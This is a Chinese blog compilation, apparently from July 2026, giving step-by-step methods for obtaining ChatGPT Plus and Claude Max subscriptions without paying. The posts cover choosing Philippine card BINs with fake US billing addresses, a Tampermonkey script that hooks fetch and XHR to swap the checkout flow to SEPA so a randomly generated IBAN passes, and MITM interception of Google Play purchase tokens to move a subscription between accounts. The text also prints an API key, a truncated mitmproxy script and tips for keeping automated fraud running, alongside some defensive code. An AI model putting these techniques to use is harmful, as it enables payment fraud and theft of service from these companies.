具体注入了什么参数？没有抓包数据我们无法确定。可能是 promotion_code、discount、currency + amount 覆盖、甚至是一个 OpenAI 内部的免费试用 API 路径。但有一点可以确定：如果工具只是忠实转发 AT，以 PH 区 ₱990 的定价，结果不可能是 ₱0。

工具是这个攻击链中最不透明的环节。你把 Access Token——等同于你的登录态——交给了一个第三方服务。它用你的身份做了什么请求、传了什么参数，你完全不知道。这也是为什么整个流程的"技术含量"看似很低——核心逻辑都藏在工具服务端里，用户只是按步骤操作。

五、BIN 选择——不是随便什么卡都行

流传的步骤里特别强调了两个 BIN：523686（Mastercard）和 4513（Visa）。这不是随便挑的。

BIN 在支付流中的角色

BIN（Bank Identification Number）是卡号的前 6-8 位，编码了发卡行、卡网络、卡类型和发行国等信息。Stripe 在收到卡号的前 6 位时就能确定：

523686 → Mastercard / Philippines / Credit / 某发卡行

这个信息会被写入 payment_method.card.country，并在整个支付流中传播。

为什么必须是 PH BIN？

PH BIN 的作用不是"触发一个空的价格表"——PH 价格表是存在的（约 ₱990/月）。

更可能的解释是：

货币匹配：如果工具创建的 Checkout Session 指定了 currency: "php"，那么 PH 发行的卡才能让 Stripe 的 currency-card 一致性检查通过。US 卡 + PHP 货币会触发额外的风控审查。
风控绕过：OpenAI/Stripe 的风控系统可能对"card country = PH + checkout currency = PHP"这个组合判定为"正常的本地交易"，不会触发跨境支付的额外校验。而如果用 JP 卡或 US 卡来付一笔 0 PHP 的订单，风控更容易拦截。
AVS 绕过：PH 卡不走 Stripe 的 AVS 地址校验，所以填什么地址都行——这降低了被拒的概率。

523686 和 4513 是经过实测确认能被 Stripe 正确识别为 card.country = "PH" 的 BIN 段。不是所有 PH BIN 都行，因为某些 BIN 可能已被 OpenAI/Stripe 的风控规则标记或黑名单。

为什么要填美国账单地址？

这步看起来矛盾——卡是菲律宾的，地址填美国？

原因是 Stripe 的 AVS（Address Verification Service）只对美国和英国的卡做地址校验。PH 卡不走 AVS，所以你填什么地址都无所谓——但如果你填 PH 地址，可能触发 OpenAI 的额外风控逻辑。填 US 地址是为了"看起来正常"，降低被风控拦截的概率。

六、从防御视角看——OpenAI 需要修什么

不管具体是哪种假说成立，防御原则是通用的。

修复方案（从简单到全面）

Level 1：Checkout Session 金额校验

def create_checkout_session(user, plan):
 price = get_price(plan, resolve_country(user))
 if price["amount"] == 0 and plan != "free":
 raise ValueError("Zero-amount checkout for paid plan")
 # ...

付费产品金额为 0 时直接拒绝创建 session。这应该是支付系统的基本不变量。

Level 3：区域一致性校验

def resolve_country(user):
 signals = {
 "registration": user.billing_country, # JP
 "session_ip": geoip(user.current_ip), # US
 "card_bin": None, # 创建 session 时还不知道
 }
 # 如果注册地和 session IP 不一致，以注册地为准
 # 不让 card BIN 覆盖定价区域
 return signals["registration"]

定价的 country 由一个确定性函数决定，不受 card BIN 影响。Card BIN 的 country 只用于风控信号，不参与定价。

Level 4：Webhook 后置校验

def on_checkout_completed(event):
 session = event.data.object
 if session.amount_total == 0 and session.mode == "subscription":
 # 0 元订阅？不对劲
 stripe.Subscription.delete(session.subscription)
 alert("Zero-amount subscription detected", session)

即使 Checkout Session 创建时金额为 0，在 checkout.session.completed webhook 里也要做最终校验。这是最后一道防线。

七、这个漏洞和之前的几个有什么关系？

放在一起看，这几个月被扒出来的 ChatGPT/Claude 支付漏洞其实形成了一个谱系：

漏洞	攻击层	改了什么	核心缺陷
prorationMode Hook	客户端内存	`putInt` 的一个参数	Google Play 信任客户端传入的升级策略
焚决 (cassia)	HTTP 响应	`checkout_flow` 字段	前端根据 API 响应选择支付通道，后端不校验
RevenueCat 转移	聚合器 API	`is_restore` + `app_user_id`	匿名购买 + restore 归属无限转移
API 响应注入	HTTP 响应	`eligible_promo_campaigns`	优惠码资格校验仅在前端
0 PHP 跨区 (本文)	定价系统	区域信号 + 工具注入	跨区歧义打开异常路径 + checkout 参数校验缺失

注意到了吗？攻击层在不断"上移"。

早期的漏洞需要 Root、需要 Frida、需要改代码——门槛不低。焚决降到了一个油猴脚本的水平。而 0 PHP 攻击连脚本都不需要——纯操作流程，任何人都能复现。

从攻击者的角度看，这是一个自然演进：当客户端层的防御越来越强（代码混淆、完整性校验、证书绑定），攻击者就会转向更高层——业务逻辑层、定价系统层、区域路由层。 这些层的防御往往更薄弱，因为它们不像"加密"“签名"那样有明确的安全框架，它们是业务系统的一部分，安全评审时容易被忽略。

八、更通用的攻击模式——“区域信号碎片化”

0 PHP 攻击其实揭示了一个通用的攻击模式，我把它叫做**“区域信号碎片化攻击”（Region Signal Fragmentation）**。

攻击模型

victim_system.pricing = f(country)

country = resolve(
 signal_1: registration_country, ← 攻击者控制（注册时选择 VPN 节点）
 signal_2: session_ip_country, ← 攻击者控制（登录时选择 VPN 节点）
 signal_3: card_bin_country, ← 攻击者控制（选择特定 BIN 的卡）
 signal_4: browser_locale, ← 攻击者控制（浏览器设置）
 signal_5: billing_address, ← 攻击者控制（表单填写）
)

所有五个信号都由攻击者完全控制。如果 resolve() 函数对歧义输入的处理不当——比如进入异常分支后放松了参数校验，或者 fallback 逻辑允许客户端覆盖定价——攻击者就能把定价推入非预期状态。

防御原则

原则一：定价权归一

pricing_country = user.billing_country // 只有一个来源，注册时确定
// card BIN、IP、locale 都不参与定价决策
// 只作为风控辅助信号

原则二：Checkout 参数不可客户端覆盖

# 服务端决定 price、currency、amount
# 客户端/第三方传入的 discount、coupon、price_override 一律忽略
# 只接受服务端白名单内的 promotion_code，且校验账号资格
checkout_session = stripe.checkout.Session.create(
 line_items=[server_determined_price], # 不接受客户端 price_data
 discounts=[], # 不接受客户端 coupon
)

客户端能影响定价 = 攻击面。

原则三：零元红线

if checkout.amount == 0 and plan.type == "paid":
 REJECT() // 无条件拒绝

付费产品不可能合法地出现 0 元。这应该是一个硬编码的不变量，不依赖任何业务逻辑。

九、写在最后

从 prorationMode 到焚决到 RevenueCat 到 0 PHP，每一个漏洞都指向同一个结构性问题：

当支付系统由多个独立组件（商店、聚合器、定价引擎、checkout 前端、webhook 后端）拼装而成时，组件之间的信任传递就是攻击面。

prorationMode 的信任传递是"Google Play 信任客户端传入的升级策略”。焚决的信任传递是"前端信任 API 返回的支付通道"。RevenueCat 的信任传递是"聚合器信任 SDK 传入的 app_user_id"。0 PHP 的信任传递是"定价系统信任 card BIN 推断的国家"。

没有一个单点漏洞，都是链路上的信任滑坡。

而防御的核心思路也始终一样：在链路的最末端（服务端 webhook、权益发放点）做最终校验，不信任链路上游传递的任何"结论"，只信任可验证的"事实"。

具体到 0 PHP 这个 case：Stripe checkout.session.completed 事件里的 amount_total 是事实，currency 是事实。如果一个 ChatGPT Plus 订阅的 amount_total 是 0——不管前面经历了多少层区域路由和定价查询——这就不对。拦住它。

这比修价格表更重要。因为价格表总有遗漏，但"付费产品不能 0 元"这条规则没有例外。

往期相关：

Google Play 内购 CC Max 漏洞深度拆解

焚决 Claude — 油猴脚本撬开支付大门

GPT Plus 订阅漏洞 — RevenueCat 凭证转移

GPT Plus 订阅漏洞 — Google Play Billing 鉴权缺失

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

Sun, 26 Jul 2026 04:49:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒：本文发布于 2026 年 7 月，文中涉及的 API 端点、支付流参数均为发布时有效值。Anthropic 随时可能修改 checkout_capabilities 响应结构或在后端追加校验逻辑，届时本方法将失效。本文保留仅供安全研究与客户端安全防御参考。

前言

最近圈子里流传着一个叫**「焚决」**的东西，名字取得很玄，搞得好像什么了不得的秘术。拿到手一看——是一段不到 200 行的 Tampermonkey 油猴脚本。

但别小看这 200 行代码。它干了一件非常漂亮的事情：在你打开 Claude 网页版准备付费订阅的瞬间，在浏览器内部悄无声息地篡改了一个 API 响应，把你看到的支付页面从信用卡表单换成了 SEPA 银行转账。然后你去 randomiban.com 随便生成一个德国银行账号，填进去，提交——Claude Max 到手，扣款金额 0 元。

这玩意在外面传得沸沸扬扬，各路卡网卖的廉价 Claude 会员，相当一部分就是靠这个批量生产的。

今天咱们把它彻底拆开。不光讲它怎么工作，更要讲为什么能成、它利用了支付系统的哪个结构性缺陷、以及这种攻击模式怎么迁移到其他平台。

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

打开 claude.ai，点击升级订阅，前端第一件事不是弹出支付表单——它先问后端一个问题：

GET /api/organizations/{org_id}/subscription/checkout_capabilities

这个接口的职责很简单：告诉前端，当前这个用户应该走哪条支付通道。 后端会综合 IP 地理位置、账号注册区域、浏览器 Accept-Language 等信号，返回一个支付流标识：

{
 "checkout_flow": "stripe"
}

前端拿到 stripe，渲染信用卡表单——卡号、有效期、CVV、3DS 二次验证，一套标准流程。信用卡支付是同步授权的，银行实时校验，过不了就是过不了。

劫持后的流程

脚本做的事情只有一件：把所有命中 checkout_capabilities 的响应体替换为：

{
 "checkout_flow": "cassia"
}

cassia 是 Anthropic 内部用于欧洲 SEPA 银行转账的支付流标识。前端一看返回值变了，渲染逻辑直接切换——不再是信用卡表单，而是一个 IBAN 输入框。

这时候去 randomiban.com 生成一个德国 IBAN（格式：DE + 2 位校验码 + 8 位银行代码 + 10 位账号，共 22 位），填进去，点提交。

前端校验？只检查 IBAN 格式是否合法（MOD 97-10 校验通过即可）。

后端校验？SEPA 体系下，提交时不做实时账户验证。

结果：Claude 立刻给你开通了订阅。

二、SEPA 直接借记——为什么填个假账号也能过

这是整个攻击的核心利用点，不理解 SEPA 的清算机制，就不可能理解这个漏洞为什么成立。

先搞清楚 SEPA 是什么

SEPA（Single Euro Payments Area，单一欧元支付区）覆盖 36 个欧洲国家和地区，是欧盟推动的统一支付基础设施。其中的 SEPA Direct Debit（直接借记，德语叫 Lastschriftverfahren）允许商家向消费者的银行账户"拉钱"——不是你给商家转账，而是商家拿着你的授权凭证去你的银行把钱取走。

听起来很方便对吧？问题就出在这个"拉钱"的流程设计上。

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

	信用卡（Stripe 标准流）	SEPA 直接借记（cassia 流）
授权模式	同步在线授权	异步离线扣款
交易发起时校验	卡号 Luhn 校验 + CVV 验证 + 3DS 二次认证 + 银行实时授权	IBAN MOD 97-10 格式校验，仅此而已
银行参与时机	交易发起的瞬间	交易发起后的 1-3 个工作日
资金确认	毫秒级返回授权结果	银行不返回任何确认，排队等清算
消费者保护	Chargeback 争议流程	8 周无条件撤回权（SEPA CORE 规则）

看到关键区别了吗？信用卡在你点击支付的那一瞬间就跟银行确认了你有没有钱、卡号对不对、你本人是不是同意的。而 SEPA 直接借记完全不做这些——它只检查 IBAN 的格式，然后把扣款请求扔进银行间的批量清算队列里，等着慢慢处理。

SEPA CORE 清算流程

实际的清算过程是这样的：

你提交 IBAN
 ↓
支付网关做 MOD 97-10 校验（纯数学公式，检查 IBAN 格式是否合法）
 ↓
校验通过 → 支付网关返回"交易成功"
 ↓
Anthropic 收到成功信号 → 开通你的 Claude Max 订阅
 ↓
... T+1 到 T+3 工作日 ...
 ↓
扣款请求进入 SEPA CORE 清算系统
 ↓
商家银行 → 消费者银行：请从账号 DEXX XXXX XXXX XXXX XXXX XX 扣 $20
 ↓
消费者银行查询账号 → 账号不存在 / 余额不足 / 未授权
 ↓
返回 R 代码拒绝（R02=无效账号, R04=账户已关, R05=被授权人撤销...）
 ↓
Anthropic 收到扣款失败通知 → 关闭你的订阅

重点来了：从你提交 IBAN 到银行清算出结果，中间有一个 1-3 个工作日的真空期。 在这段时间里，你的 Claude Max 订阅是完全生效的——能用 Opus、能用所有高级功能、流量不限。

MOD 97-10：格式校验的局限性

IBAN 的校验算法叫 ISO 7064 MOD 97-10，原理其实很简单：

把 IBAN 的国家代码和校验码移到末尾
把字母转换为数字（A=10, B=11, …, Z=35）
对整个大整数做 MOD 97 运算
结果等于 1 就合法

这个算法能检出什么？格式错误——打错了某一位、漏了一位、国家代码不对。

这个算法检不出什么？一切跟真实世界有关的东西——账户是否存在、余额是否充足、持有人是不是你。

randomiban.com 生成的 IBAN 就是利用了这一点：它按照 MOD 97-10 算法逆向构造，生成的 IBAN 格式 100% 合法，能通过任何基于此算法的前端和后端校验。至于这个账号在不在现实中存在——那是 3 天后银行清算时才会发现的事情。

为什么偏偏是德国 IBAN？

SEPA 覆盖 36 个国家，为什么脚本选了德国（DE）？

格式最简单：DE 开头的 IBAN 固定 22 位，结构是 DE + 2位校验码 + 8位银行代码(BLZ) + 10位账号，没有额外的国家级校验叠加
通过率最高：德国 IBAN 在 Stripe 等主流支付网关的接受度最好，不会触发额外的地区风控
银行代码空间大：8 位 BLZ 有大量有效的银行代码段，随机生成碰上有效 BLZ 前缀的概率不低

对比一下法国 IBAN（27 位，还有额外的 RIB 密钥校验）或者西班牙 IBAN（24 位，有 DC 校验位），德国确实是阻力最小的选择。

三、脚本逐行技术拆解

理解了 SEPA 的机制，再来看脚本本身就清晰多了。每一个设计决策都有明确的技术理由。

3.1 元数据——抢在一切之前

// @name TestExample Cassia Response Mock
// @match *://claude.ai/*
// @match *://*.claude.ai/*
// @run-at document-start
// @grant none
// @sandbox raw

三个关键设定：

@run-at document-start：页面 DOM 还没开始构建，脚本已经注入完毕。这不是可选项——如果等到 document-idle，checkout_capabilities 的请求可能已经发出去了，Hook 就晚了。整个攻击成立的前提就是比目标请求更早完成注入。
@sandbox raw：绕过 Tampermonkey 的安全沙箱。默认沙箱会隔离脚本的执行上下文，导致你覆盖的 window.fetch 和页面实际用的 window.fetch 不是同一个。raw 模式下脚本直接在页面上下文中执行，Hook 才能真正生效。
@grant none：不申请 GM_* 系列 API 权限。一方面减少 Tampermonkey 的安全提示弹窗，另一方面 @sandbox raw 本身就不兼容 GM_* API。

3.2 精确制导——只改一个接口

const TARGET_PATH =
 /^\/api\/organizations\/[^/]+\/subscription\/checkout_capabilities\/?$/;

正则匹配精确到路径段，连末尾有没有斜杠都考虑了。只拦截这一个接口，其他所有请求原样放行。

为什么是这个接口？因为它是 Claude 前端支付流的单一决策点——前端根据它的返回值决定渲染 Stripe 信用卡表单还是 SEPA IBAN 输入框。控制了这个响应，就控制了用户看到的整个支付界面。

这种精准度也是为了隐蔽性——如果你 Hook 了所有请求，前端的行为会出各种异常，容易暴露。只改一个接口，前端其他部分的运行完全正常。

3.3 Fetch 拦截——先发后改

const nativeFetch = window.fetch;

window.fetch = async function (input, init) {
 const method = init?.method ||
 (input instanceof Request ? input.method : "GET");

 const targetUrl = getTargetUrl(input, method);
 const originalResponse = await nativeFetch.apply(this, arguments);

 if (!targetUrl) {
 return originalResponse;
 }

 return createMockResponse(originalResponse);
};

注意调用顺序：先用原生 fetch 把真实请求正常发出去，等拿到响应后再替换返回值。

这是这个脚本最巧妙的地方。

如果直接拦截请求不发出去，构造一个假响应返回呢？功能上没问题。但从服务端的角度看——你打开了支付页面，前端应该调 checkout_capabilities，结果后端日志里根本没看到这个请求。这就是一个异常信号，可以被 Anthropic 的安全团队用于检测。

先发后改的策略完美回避了这个问题：服务端日志里看到了正常的 GET 请求、正常的 200 响应，一切如常。篡改发生在浏览器内部，从 HTTPS 加密通道往外看什么都没变。

3.4 Response 重构——细节决定成败

function createMockResponse(originalResponse) {
 const headers = new Headers(originalResponse.headers);

 headers.delete("content-length");
 headers.delete("content-encoding");
 headers.delete("etag");
 headers.delete("content-md5");

 headers.set("content-type", "application/json; charset=utf-8");
 headers.set("content-length", String(MOCK_LENGTH));
 headers.set("cache-control", "no-store");

 const response = new Response(MOCK_BODY, {
 status: 200,
 statusText: "OK",
 headers
 });

逐个分析删掉的响应头：

content-encoding：原始响应大概率是 gzip 或 br 压缩的。我们构造的 JSON 是明文，如果不删这个头，浏览器会拿着明文 JSON 去做 gzip 解压——直接炸。
content-length：原始响应体大小和我们构造的不一样，不改的话浏览器会截断或报错。
etag / content-md5：完整性校验头。原始响应的哈希和我们篡改后的内容对不上。虽然浏览器通常不强制校验这些头，但删掉更保险——万一前端代码拿这些值做了缓存校验呢。
cache-control: no-store：强制不缓存。如果浏览器缓存了我们的假响应，下次刷新页面不走 Hook 了就拿到缓存的假数据——反而弄巧成拙。反过来，如果缓存了之前的真响应，前端可能直接用缓存不发请求，Hook 就没机会触发。no-store 确保每次都走网络请求，每次都经过 Hook。

3.5 XHR 双通道保险

脚本不光 Hook 了 fetch，还对 XMLHttpRequest 做了一套完整的拦截——覆盖了 responseText、response、status、statusText、getResponseHeader、getAllResponseHeaders。

为什么要两套？现代 Web 应用大多用 fetch，但你无法保证 Anthropic 的前端代码——或者它依赖的第三方库——不会在某些场景下 fallback 到 XHR。少 Hook 一个通道就是留了一条漏网之鱼。

XHR 的 Hook 方式也值得一看：

function replaceXhrGetter(propertyName, replacement) {
 const descriptor =
 Object.getOwnPropertyDescriptor(XhrPrototype, propertyName);

 if (!descriptor || typeof descriptor.get !== "function" ||
 descriptor.configurable === false) {
 console.warn(`[Cassia Mock] 无法接管 XHR.${propertyName}`);
 return;
 }

 const nativeGetter = descriptor.get;

 Object.defineProperty(XhrPrototype, propertyName, {
 ...descriptor,
 get: function () {
 if (!getMatchedXhr(this)) {
 return nativeGetter.call(this);
 }
 return replacement.call(this, nativeGetter);
 }
 });
}

用 Object.getOwnPropertyDescriptor 先取原始的 property descriptor，再通过 Object.defineProperty 精确替换 getter。比直接赋值靠谱得多——它保留了原始 descriptor 的所有属性（configurable、enumerable），而且会先检查 configurable 是否为 false，如果属性被冻结就优雅降级而不是静默失败。

3.6 状态指示器

const badge = document.createElement("div");
badge.id = "cassia-mock-badge";
badge.textContent = "Cassia Mock ON";

页面右下角一个绿色小角标，确认脚本已激活。实际攻击中这是个安慰剂——真正的确认是看支付页面有没有从信用卡变成 IBAN 输入框。但对于批量操作的卡商来说，这个视觉反馈能提高操作效率。

四、横向迁移：这不是一个漏洞，是一类漏洞

分析完焚决，我们跳出来看一个更有价值的问题：这类攻击是可复用的。

漏洞本质

客户端信任边界缺失：服务端将支付流的决策权——“这个用户该走哪条支付通道”——交给了一个客户端可以任意篡改的 API 响应。

这不是孤例。回顾我们之前分析过的一系列支付漏洞，它们共享同一个底层模式：

漏洞	被篡改的对象	信任边界裂缝
焚决（本例）	`checkout_capabilities` 响应	前端信任 API 返回值决定支付通道
GPT Plus offerToken 注入	Google Play Billing 内存中的 offerToken	服务端不校验 token 与账号资格的绑定关系
GPT iOS 收据复用	Base64 App Store 收据	服务端不验证收据与提交者账号的对应关系
Cloudflare Pro 竞态	并发请求的状态窗口	权限发放与支付确认之间存在可利用的时序差
RevenueCat 回调劫持	`fetch_token` 跨账号提交	第三方回调接口缺乏调用方鉴权

通用攻击模型

把这些漏洞抽象一下，可以提取出一个四步攻击框架：

1. 定位决策接口
 找到决定支付流 / 功能开关 / 定价计算的 API 端点
 信号关键词：checkout_capabilities, payment_methods, available_plans,
 eligible_promotions, feature_flags, entitlements

2. 注入篡改数据
 通过油猴脚本（Web）、MITM（移动端）、Frida Hook（Native）等
 方式替换响应内容

3. 选择确认延迟最长的路径
 SEPA 直接借记 > 银行转账 > PayPal > 信用卡
 延迟越长，时间窗口越大

4. 利用"前端校验 + 后端真空"
 前端校验通过后，后端在异步确认完成前不暂停服务发放

这个框架可以复用到任何订阅制平台，只要目标满足：

支付方式的选择依赖客户端可控状态
存在至少一种异步确认的支付方式
“服务开通"发生在"支付确认"之前

在漏洞挖掘实战中，打开 DevTools Network 面板，搜索 checkout、payment、billing、plan、subscription 这些关键词，找到所有影响支付逻辑的端点，逐个测试响应注入——这就是最直接的攻击面枚举方式。

五、防御视角

给服务端开发者

支付流决策必须服务端闭环。checkout_flow 的值应该在后端根据用户地区、账号状态、风控信号独立计算，前端只是一个渲染器——它不应该有能力选择自己走哪条支付通道。
异步支付必须延迟开通。SEPA、银行转账这类异步支付方式，在银行返回扣款成功确认之前，不应该开通任何付费功能。可以给用户一个"支付处理中"的状态，等清算完成后再激活。
API 响应签名。对关键 API 响应做 HMAC 签名（密钥存服务端），前端消费前验签。虽然不能根治（攻击者可以 Hook 验签逻辑），但大幅提高了攻击门槛——从改一个 JSON 字段变成了还得逆向验签实现。
IBAN 实时银行验证。接入 SWIFT gpi 或各国央行的 IBAN 验证服务（如德国 Bundesbank 的 IBAN 验证接口），在提交时做实时的账户存在性校验，而不是只靠本地 MOD 97。

给安全研究者

这类漏洞的攻击面很清晰——任何一个返回了影响支付逻辑数据的 API 端点，且这个数据可以被前端篡改，都是潜在的攻击入口。

一些高价值的"信号接口”：

checkout_capabilities / payment_methods / available_plans
region / locale / country_detection
eligible_promotions / offers / discounts
feature_flags / entitlements / subscription_tiers

六、实战翻车现场：“验证失败并清除旧会话”

讲完了攻击原理和防御思路，再来看一个真实场景——焚决并不是每次都能成功的。

在实际操作中（不管是焚决的 SEPA 路径还是正常的 Stripe 信用卡路径），你大概率会遇到这样一幕：

两条红色报错同时弹出来：

“未提交付款：发生了意外错误。请检查表单后重试。”
“验证失败并清除旧会话”

第一次看到这个，很多人会以为是卡的问题、网络的问题、脚本的问题。其实都不是——这是会话状态失效的问题，而且它能帮我们理解 Anthropic 的支付架构到底是怎么做验证的。

为什么会出现这个错误？

两条错误同时出现，意味着会话死在了支付提交的瞬间。理解这一点需要知道 Claude 支付提交时后端做了什么：

用户点击"提交支付"
 ↓
前端将 Stripe token / IBAN 提交到 Anthropic 后端
 ↓
后端第一件事：校验当前会话（session）是否有效
 ↓
会话失效 → 返回"验证失败" → 前端清除旧 session → 支付自然失败

关键点在于：Anthropic 在处理支付请求之前，会先验证你的登录会话。 如果会话已经过期或被吊销，支付请求根本不会到达 Stripe——它在 session 校验这一步就被打回来了。

五种常见的会话失效原因

① SK Cookie 过期（最常见）

Claude.ai 使用 __Secure-next-auth.session-token（业内简称 SK Cookie）维持登录态。这个 cookie 有 TTL，通常几个小时后过期。

如果你在打开支付页面之前获取的 cookie，到填完表单点提交的时候刚好过期——恭喜，踩中了时间窗口。自动化场景下尤其常见：任务在队列里排了一段时间，等轮到你的时候 cookie 已经不新鲜了。

② Session 被踢（多端互踢）

同一个账号如果在多个地方同时登录（比如你开了好几个 Worker 共用一个 cookie），后登录的会话会使前一个失效。你在 Worker A 上正准备提交支付，Worker B 刚好用同一个 cookie 做了一次请求刷新了 session——A 的 session 就死了。

③ 代理 IP 切换（Session-IP 绑定）

Anthropic 很可能在 session 上绑定了创建时的 IP 或 IP 段。如果你的代理在支付流程中间断线重连，换了一个出口 IP，后端一比对——这个 session 是从 45.67.xx.xx 创建的，现在请求来自 89.12.xx.xx？验证失败。

④ Stripe PaymentIntent 过期

即使 session 没问题，Stripe 侧也有自己的超时机制。PaymentIntent 和对应的 client_secret 有有效期（通常数小时，但在高风控场景下可能更短）。如果从打开支付页面到实际提交间隔太长，Intent 过期了，Stripe 返回错误，前端展示为"发生了意外错误"。

⑤ Checkout Session 并发冲突

同一个 Organization 如果同时发起了多个订阅操作（比如一个在升级 Pro，另一个在改支付方式），后一个操作创建的 checkout session 会使前一个失效。前一个提交的时候引用的 session ID 已经不存在了。

应对策略

针对这类会话失效问题，无论是做自动化还是做安全防护，都有几条通用原则：

从攻击者/自动化角度看：

策略	做法	解决的问题
Session 预检	进支付页之前先调 `/api/auth/session` 确认 cookie 存活	Cookie 过期
快进快出	打开支付页后立刻完成填写和提交，压缩停留时间	Intent 超时
代理钉住	支付全流程内锁定同一个代理出口，不允许中途切换	IP 绑定
Cookie 生命周期管理	记录每个 cookie 的获取时间，临近 TTL 时主动刷新	Cookie 过期
错误分类重试	检测到"清除旧会话"后标记为 session 失效，重新获取 cookie 再试	所有会话类问题
单账号串行化	同一个 org 同时只跑一个支付操作	并发冲突

从防御者角度看：

这个报错机制本身就是 Anthropic 的一层防线——在处理支付之前先验会话，避免在认证不确定的情况下创建订阅。这个设计是对的。

但如果要更进一步：

Session 绑定 + 支付确认二次绑定：不光 session 绑 IP，PaymentIntent 也应该绑定创建时的 session ID。Session 变了，Intent 就失效——即使攻击者拿到了一个新的有效 session，也得重新走一遍支付页面，不能复用之前的 Intent。
支付提交时的实时 Session 刷新：在提交支付的瞬间，后端不仅校验 session 是否有效，还可以强制刷新一次 token，确保提交时的 session 是"活跃"的而不仅仅是"未过期"的。
异常模式检测：如果一个 org 短时间内反复出现"session 校验通过 → 进入支付页 → 提交时 session 失效"的模式，说明有人在用自动化工具——标记为可疑行为。

小结

这个"验证失败"的报错看着烦人，但它揭示了一个重要的架构细节：Anthropic 的支付流不是单纯的前端-Stripe 双边交互，中间有一层 session 校验网关。 这层网关既是防线（挡住了过期/伪造的会话），也是自动化场景下最常踩的坑。

理解了这个机制，不管你是想加固自己平台的支付安全，还是想搞清楚为什么自己的自动化流程老是翻车——这个报错里都有答案。

七、写在最后

焚决这个东西，技术上说穿了就是一个客户端状态注入工具。它不攻击 Claude 的认证系统，不碰 Anthropic 的服务器，攻击目标是前端与后端之间那条看不见的信任边界。

它的精妙不在于代码多复杂——说真的 200 行 JS 连个正经项目的单元测试都撑不满——而在于它精准地捏住了两个系统设计缺陷的交叉点：

Anthropic 的前端支付流由一个可篡改的 API 响应驱动
SEPA 直接借记在清算完成前不验证账户真实性

两个缺陷单独拿出来，各自都不算致命。但组合在一起，就变成了一条从"修改一个 JSON 字段"到"零元订阅 Claude Max"的完整攻击链。

而这类"信任边界错位 + 异步确认间隙"的组合漏洞，绝不仅限于 Claude。任何一个同时提供信用卡和 SEPA 支付的 SaaS 平台，如果支付通道的选择权交给了前端，都可能面临同样的问题。

工具可以被修复，模式值得被记住。

GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

Fri, 17 Jul 2026 16:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

前言

之前写了两篇关于 GPT Plus 的漏洞分析：一篇是 iOS 收据复用，一篇是 Google Play offerToken 替换实现 0 元订阅。

今天这篇不一样——我们不搞 0 元白嫖，也不搞收据复用。今天讲的是一个更优雅的思路：订阅转移。

简单说就是：A 账号在 Google Play 上正经花钱买了 Plus，但通过技术手段，把这个订阅"转"给 B 账号。B 账号什么都没付，直接变 Plus。

听起来玄乎？其实原理简单得令人发指。往下看。

免责声明：本文仅供安全研究与技术交流。未经授权的行为可能违反相关法律法规，请勿用于非法用途。

一、核心原理：为什么能"转移"？

ChatGPT Android 的订阅架构

很多人以为 GPT 的订阅是 OpenAI 自己处理的。不是。

Android 端的订阅走的是这条链路：

Google Play 支付（扣钱）
 ↓ 生成 purchase token
ChatGPT App 拿到 token
 ↓ 发送到 RevenueCat
RevenueCat 验证 token
 ↓ 通知 OpenAI
OpenAI 后端开通 Plus

中间有个关键角色：RevenueCat。它是一个第三方订阅管理平台，充当 Google Play 和 OpenAI 之间的"中间人"。

漏洞在哪？

RevenueCat 的核心 API 是 POST /v1/receipts，请求体长这样：

{
 "fetch_token": "<Google Play 的购买凭证>",
 "app_user_id": "<OpenAI 的账户 ID>",
 "product_ids": ["oai.chatgpt.plus"]
}

注意这两个参数：

参数	含义	来源
`fetch_token`	购买凭证，证明"有人付了钱"	Google Play 支付后返回
`app_user_id`	账户 ID，决定"给谁开通"	OpenAI 的 account_id

这两个参数是完全独立的。

Google Play 只管"收钱并出具凭证"——它不关心这个凭证最终给谁用。RevenueCat 只管"验证凭证并绑定到指定用户"——它不检查 app_user_id 是否就是付钱的那个人。

打个比方：你在肯德基买了个汉堡，小票给了你朋友，你朋友拿小票去柜台，柜员一扫码——嗯，小票是真的，给。至于小票是不是你朋友买的？柜员根本不看。

所以：用 A 的 token + B 的 account_id = 给 B 开 Plus。

这就是"订阅转移"的全部原理。

二、关键标识符一览

在动手之前，先搞清楚几个关键 ID：

标识符	说明	长啥样	怎么拿
fetch_token	Google Play 购买凭证	`iekllednimgnlmo...`（很长一串）	支付后拦截/ADB 提取
app_user_id	OpenAI 账户 ID	`f211fe99-83d9-4c48-b016-ee08984a592a`	调 accounts/check API
RevenueCat API Key	RC 公钥（固定值）	`goog_DPguJtknNxbQBStStwhWGRsghUw`	抓包可得，下面直接给你
product_id	订阅产品标识（固定值）	`oai.chatgpt.plus`	固定的

三、获取 purchase token（两种姿势）

Token 是核心。拿到 token，后面的事就水到渠成了。这里提供两种获取方式，难度由低到高。

方式一：MITM 代理拦截（推荐，无需 Root）

原理：在 Android 设备和 RevenueCat 服务器之间架一层代理，支付完成后 ChatGPT App 会把 token 发给 RevenueCat，我们在中间截下来。

你需要准备：

Android 设备（真机或模拟器，需装 Google Play 服务）
已登录的 Google 账号（需有支付方式或免费试用资格）
ChatGPT App
MITM 代理工具（推荐 Reqable / mitmproxy / Charles）

步骤：

Step 1：设备连接代理，安装并信任 MITM 证书。

Step 2：在代理工具中设置拦截规则：

URL 匹配: api.revenuecat.com/v1/receipts
请求方法: POST
动作: 拦截请求（Block）

Step 3：打开 ChatGPT App，用一个临时账号登录（不是目标账号！）。

Step 4：进入订阅页面 → 选择 Plus → 完成 Google Play 支付。

Step 5：支付完成后，代理工具会拦截到 POST /v1/receipts 请求。从请求体中提取 fetch_token 字段，保存。

Step 6：阻断该请求，不让它发到 RevenueCat。

为什么要阻断？因为如果让请求正常到达 RevenueCat，token 就会被"消费"掉，绑定到临时账号上，就没法转移了。

时间窗口：token 拦截后有 72 小时有效期。超时未被 Acknowledge，Google Play 会自动退款。所以别拖太久。

如果你用 mitmproxy，这里有个现成的拦截脚本：

# mitm_intercept.py — 自动拦截并保存 token
import json, time
from mitmproxy import http

TOKEN_FILE = "tokens.jsonl"

class RevenueCatInterceptor:
 def request(self, flow: http.HTTPFlow):
 if (flow.request.pretty_url.endswith("/v1/receipts")
 and flow.request.method == "POST"):
 try:
